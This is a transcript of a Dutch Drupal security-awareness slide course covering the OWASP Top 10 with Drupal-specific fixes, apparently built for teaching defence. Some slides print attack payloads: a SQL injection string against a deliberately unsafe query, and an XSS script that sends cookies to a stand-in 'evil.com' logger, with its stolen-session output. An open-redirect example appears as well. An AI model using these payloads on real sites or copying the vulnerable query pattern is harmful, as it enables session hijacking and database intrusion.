Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere...

56
Drupal Security Awareness (2)

Transcript of Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere...

Page 1: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

DrupalSecurity Awareness (2)

Page 2: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

Disclaimer

De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites te hacken.

Art. 138a Wetboek van strafrecht

Page 3: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

Doelen

• Security bewustzijn bevorderen.

• Welke bedreigingen zijn er?

• Hoe maak ik m’n Drupal site veiliger?

Page 4: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

Agenda

• Owasp top 10 - Drupal style>Kwetsbaarheden>Oplossingen>Voorbeelden

• Security Modules• Zelf doen?

>Webgoat>Damn Vulnerable Drupal App

Page 5: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

Wie is dit

• L1099xx

http://L109958 http://L109958/phpMyAdmin

Page 6: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

Waar komen bedreigen vandaan

• Automatische scans• Scriptkiddie• Casual hacker• Doelbewuste hacker• Mainstream aanval• Gebruiker• Systeem

Page 7: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

OWASP

• “The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software.

• Our mission is to make application security visible, so that people and organizations can make informed decisions about true application security risks.”

• Top10, WebGoat, Webscarab.

Page 8: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

OWASP Top 10 - 2013 RC

1.Injection2.Broken Authentication and Session

Management3.Cross-Site Scripting (XSS)4.Insecure Direct Object References5.Security Misconfiguration6.Sensitive Data Exposure7.Missing Function Level Access Control8.Cross-Site Request Forgery (CSRF)9.Using Known Vulnerable Components10.Unvalidated Redirects and Forwards

Page 9: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

1. Injection

Door de client aangeleverde data wordt verwerkt door een interpreter die het ziet als een commando, een query of als data.

Page 10: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

1. Injection - soorten

• SQL injection>Toegang/wijzigen van de database>Voer commando’s uit op de server

• LDAP injection>Omzeilen van authenticatie

• Header injection>Aanpassen email opdracht

• …. Injection>Het misbruiken, waarvoor … is bedoeld

Page 11: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

1. Injection - SQL

Scherm:USERNAME:[PERSOONA]PASSWORD:[GEHEIM12]

Achtergrond:Mag er toegang worden gegeven aan de gebruiker wanneer:

de username is 'PERSOONA'en

het wachtwoord is 'GEHEIM12';

Page 12: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

1. Injection - SQL

Scherm:USERNAME:[PERSOONA]PASSWORD:[Onbekend of 1=1]

Achtergrond:Mag er toegang worden gegeven aan de gebruiker wanneer:

de username is 'PERSOONA'en

het wachtwoord is ‘Onbekend' of 1=1;

Page 13: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

1. Injection – SQL - Drupal

db_query("SELECT * FROM {users} WHERE name= '$name' and pass= '$pass')->fetchObject();

Payload: wachtwoord' or 1=1 --

Page 14: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

1. Injection – SQL - Drupal

Prepared statements!

db_query( "SELECT * FROM {users} WHERE name= :name and pass= :pass", array(':name' => $name, ‘:pass' => $pass))->fetchObject();

Page 15: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

1. Injection – SQL - Drupal

Dynamic queries:

$query = db_select('users', 'u');$query ->condition('u.name', $name, '=') ->condition('u.pass', $pass, '=') ->fields('u', array('mail', 'created'));$result = $query->execute();

Page 16: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

1. Injection – SQL - Demo

Page 17: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

1. Injection

• 1 plek is al genoeg.• Nieuwe technologieën, nieuwe

kansen.• Een oude technologie waar dit mee

zou kunnen?

Page 18: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

1. Injection

Page 19: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

2. Broken Authentication and Session Management

• Session hijacking / fixation• Sessie timeout / logout• Session ids sterk genoeg, niet

herbruikt• Sessie ids niet in url of logs

• Standaard in Drupal

Page 20: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. Cross-Site Scripting (XSS)

• Een kwaadwillend script wordt terug gegeven in de HTML van een vertrouwde site, waardoor het wordt uitgevoerd.

Page 21: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. Cross-Site Scripting (XSS)

• Aanval op de website

>Een gebruiker stuurt kwaadaardige informatie (HTML/javascript) naar de website.

>De website plaatst deze informatie in de webpagina.

>De browser voert de informatie (HTML/javascript) uit.

Page 22: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. Cross-Site Scripting (XSS)

Page 23: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. Cross-Site Scripting (XSS)

Resultaat in pagina:

<h1>Zoekresultaten</h1> <p>U heeft gezocht op

<strong>test</strong></p> <p>3 resultaten</p>

Page 24: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. XSS - aanval

Kwaadaardige zoekterm:

<script>alert(document.cookie);

</script>

Page 25: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. XSS - aanval

Resultaat:

Page 26: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. XSS - aanval

Resultaat in pagina:

<h1>Zoekresultaten</h1> <p>U heeft gezocht op <strong><script>alert(document.cookie);</script></strong></p> <p>0 resultaten</p>

Page 27: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. XSS - aanval

Kwaadaardige zoekterm:

<script>document.write('<img src=" http://www.evil.com/log.php?info=' + document.cookie + ' " width="0" height="0">');</script>

Page 28: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. XSS - aanval

Resultaat in pagina:

<img src=“http://www.evil.com/log.php? info=username=administrator;session=A4B3755445C” width="0" height="0">

Page 29: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. XSS - aanval

• Meerdere soorten>Eenmalig>Terugkerend>DOM based

• Misbruiken>Sessie token kapen>Frames>Formulieren>Malware>Acties uitvoeren

Page 30: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. XSS - voorkomen

Vertrouw NOOIT user-input.

Output sanitation: Input wordt binnen gelaten, output wordt veilig gemaakt en verstuurd.

Karakter Entiteit

< &lt;

> &gt;

" &quot;

' &apos;

Page 31: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. XSS - Drupal

Page 32: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. XSS - voorkomen

echo t(‘Je favoriete kleur is @color’, array(‘@color’ => $_GET[‘color’]));

 @ De waarde van de token wordt door

check_plain() heen gehaald.%Zelfde als @ alleen wordt er default <em>

html tags toegevoegd.! Er wordt geen filtering toegepast.

Page 33: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. XSS - demo

Page 34: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

3. XSS – code voorbeeld

• <a href="?' . $_SERVER["QUERY_STRING"] . '&info=kijkdagen" title="Link naar: Bezichtingslocaties">Bezichtingslocaties</a>

Page 35: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

4. Insecure Direct Object References

Directe referentie naar een object

• Views>published = Yes

• Bestandssysteem>Publieke lokale bestanden aangeboden

door de webserver.>Afgeschermde lokale bestanden

aangeboden via Drupal.

Page 36: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

5. Security Misconfiguration

• Voorbeeld pagina’s, library voorbeelden, test bestanden, documentatie.

• Ontwikkel modules.• Default password.• Error logging, systeem informatie.• Rechten, input filters.• Dev, acc en lokale omgevingen.

Page 37: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

5. Security Misconfiguration

Page 38: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

5. Security Misconfiguration

Security review

Page 39: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

5. Security Misconfiguration

• Ontwikkel modules>Backup/restore>Coder>Devel>Schema>Php Filter>PhpMyAdmin

Page 40: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

6. Sensitive Data Exposure

• Beveilig gevoelige informatie>Wachtwoord>Creditcard nummer>Medische informatie

• Versleutelde opslag (md5&salt, encrypt)

• Versleutelde verzending (SSL, secure login)

Page 41: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

7. Missing Function Level Access Control

Drupal authenticatie&authorisatie• hook_menu

> 'access arguments' => array('administer site configuration'),

> 'access callback' => 'user_edit_access',> 'access arguments' => array(1),

• user_acces>user_access('administer site

configuration', $account)

Page 42: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

7. Missing Function Level Access Control

Url: /user/17/document/89/edit

if (user_access(‘edit document’, $account)) { return TRUE;}

if (user_access(‘edit document’, $account) && $document->uid == $account->uid) {

return TRUE;

}

Page 43: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

7. Missing Function Level Access Control

• Views contextuele filters>Toegangscontrole>All

Demo!

Page 44: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

8. Cross-Site Request Forgery (CSRF)

Ingevuld formulier wordt vanaf een andere site naar de website gestuurd.

POST

POST

Drupal Formulier

Drupal actie en resultaat

Evilsite.com Formulier

Page 45: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

8. Cross-Site Request Forgery (CSRF)

1. Ingelogd als admin in Drupal2. Bezoek een kwaadwillende site

met CSRF exploit

http://MijnDrupal/admin/people/create

Page 46: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

8. Cross-Site Request Forgery (CSRF)

• Oplossing:>Zeker weten dat de eigen site de

oorsprong van de aanvraag is:Toevoegen van een uniek token aan een formulier.

Page 47: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

8. Cross-Site Request Forgery (CSRF)

<input type="hidden" name="form_token" value="Up7ZBmUG77ZHNnmWAn7oM0glHBwU-I-kNjyLarokvMI" />

Het formulier wordt alleen geaccepteerd als er een geldige token wordt meegestuurd.

Data-mutaties altijd door een submit handler uitvoeren i.c.m. formulier.

Page 48: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

8. Cross-Site Request Forgery (CSRF)

• Bescherming tegen verkeerde data

<input type="hidden" name="form_build_id" value="form-1sjoPppdxX2ba-KQBgi_K-VgRKzO76ey63l1ax0CWA8" />

Ingevulde waarden worden alleen geaccepteerd als ze in het formulier gekozen konden worden.

Page 49: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

9.Using Components with Known Vulnerabilities

• Hou Drupal up to date!

Page 50: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

9. Using Components with Known Vulnerabilities

Automatische scans zoeken naar KnownVulnerabilities

Page 51: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

9.Using Components with Known Vulnerabilities

• Module gepatcht?>Voeg patch bestand toe in module

directory.>Module niet verplaatsen naar patched

directory!

Page 52: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

10. Unvalidated Redirects and Forwards

http://example.com/index.php?redir=evil.com

Lok een gebruiker via een vertrouwde site naar een kwaadwillende site.

http://localhost/admin http://localhost/user/login?destination=/admin

drupal_goto($url, array('external' => FALSE)

);

Page 53: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

Security modules

• Coder (code review)

Page 54: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

Security modules

• Security_review (controles)

Page 55: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.

Security modules

• Encrypt (Beveiligde opslag)• Secure login (SSL)• PCI Update (no autocomplete)• Remove Generator (HTML Meta tag)• Security kit (XSS, XSRF, Clickjacking, SSL)

Page 56: Drupal Security Awareness (2). Disclaimer De informatie in deze cursus is bedoeld om veiligere Drupal websites te bouwen, niet om andere Drupal websites.